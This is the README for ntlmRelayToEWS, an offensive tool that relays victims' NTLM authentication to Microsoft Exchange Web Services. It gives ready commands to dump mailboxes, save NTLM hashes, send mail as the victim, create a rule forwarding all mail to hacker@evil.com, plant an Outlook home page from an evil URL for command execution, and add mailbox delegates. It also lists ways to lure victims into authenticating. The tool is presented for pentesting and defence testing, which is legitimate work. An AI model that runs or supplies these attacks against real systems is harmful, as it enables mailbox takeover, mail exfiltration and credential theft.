Based on ntlmRelayToEWS - Author: Arno0x0x - @Arno0x0x
Modified by MISTeam
ntlmRelayToEWS is a tool for performing ntlm relay attacks on Exchange Web Services (EWS). It spawns an SMBListener on port 445 and an HTTPListener on port 80, waiting for incoming connection from the victim. Once the victim connects to one of the listeners, an NTLM negociation occurs and is relayed to the target EWS server.
Obviously this tool does NOT implement the whole EWS API, so only a handful of services are implemented that can be useful in some attack scenarios. I might be adding more in the future. See the 'usage' section to get an idea of which EWS calls are being implemented.
Exchange version:
I've tested this tool against an Exchange Server 2010 SP2 only (which is quite old admitedly), so all EWS SOAP request templates, as well as the parsing of the EWS responses, are only tested for this version of Exchange.
Although I've not tested myself, some reported this tool is also working against an Exchange 2016 server, out of the box (ie: without any changes to the SOAP request templates).
ntlmRelayToEWS requires a proper/clean install of Impacket at least v0.9.17. So follow their instructions to get a working version of Impacket.
Changed impacket v0.9.15 to v0.9.18. So SMB server works with SMB2 and Windows 10 clients
Added domain filter parameter to SMB server - so U can filter incoming SMB auth requests by used SMB DOMAIN and do not relay wrong request to OWA
Added http OPTIONS and HEAD reply so MS Office user-agent works correctly.
Added failed logins logging
Added date and time to log file
Added download limits
ntlmRelayToEWS implements the following attacks, which are all made on behalf of the relayed user (victim).
Refer to the help to get additional info: ./ntlmRelayToEWS -h. Get more debug information using the --verbose or -v flag.
getFolder and save NTLM-SSP hash
Retrieves all items from a predefined folder (inbox, sent items, calendar, tasks) and save NTLM-SSL hash (failed and success) to file:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r getFolder -f inbox -o out.txt
sendMail
Sends an HTML formed e-mail to a list of destinations:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r sendMail -d "user1@corporate.org,user2@corporate.com" -s Subject -m sampleMsg.html
forwardRule
Creates an evil forwarding rule that forwards all incoming message for the victim to another email address:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r forwardRule -d hacker@evil.com
setHomePage
Defines a folder home page (usually for the Inbox folder) by specifying a URL. This technique, uncovered by SensePost/Etienne Stalmans allows for arbitray command execution in the victim's Outlook program by forging a specific HTML page: Outlook Home Page – Another Ruler Vector:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r setHomePage -f inbox -u http://path.to.evil.com/evilpage.html
addDelegate
Sets a delegate address on the victim's primary mailbox. In other words, the victim delegates the control of its mailbox to someone else. Once done, it means the delegated address has full control over the victim's mailbox, by simply opening it as an additional mailbox in Outlook:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r addDelegate -d delegated.address@corporate.org
Limiting folder download
Use --limit param to limiting download messages
./ntlmRelayToEWS.py -v -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r getFolder -f inbox --filter LAB --limit 10
Debug
When U get problem with connection to EWS - U can use it with proxychains and http proxy server, or U can use -v param
proxychains ./ntlmRelayToEWS.py -v -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r addDelegate -d delegated.address@corporate.org
In order to get the victim to send his credentials to ntlmRelayToEWS you can use any of the following well known methods:
- Send the victim an e-mail with a hidden picture which 'src' attribute points to the ntlmRelayToEWS server, using either HTTP or SMB. Check the
Invoke-SendEmail.ps1script to achieve this. - Create a link file which 'icon' attribute points to the ntlmRelayToEWS using a UNC path and let victim browse a folder with this link
- Perform LLMNR, NBNS or WPAD poisonning (think of Responder.py or Invoke-Inveigh for instance) to get any corresponding SMB or HTTP trafic from the victim sent to ntlmRelayToEWS
- other ?
Based on Impacket and ntlmrelayx by Alberto Solino @agsolino. Modified by MISTeam
This tool is intended to be used in a legal and legitimate way only:
- either on your own systems as a means of learning, of demonstrating what can be done and how, or testing your defense and detection mechanisms
- on systems you've been officially and legitimately entitled to perform some security assessments (pentest, security audits)
Quoting Empire's authors: There is no way to build offensive tools useful to the legitimate infosec industry while simultaneously preventing malicious actors from abusing them.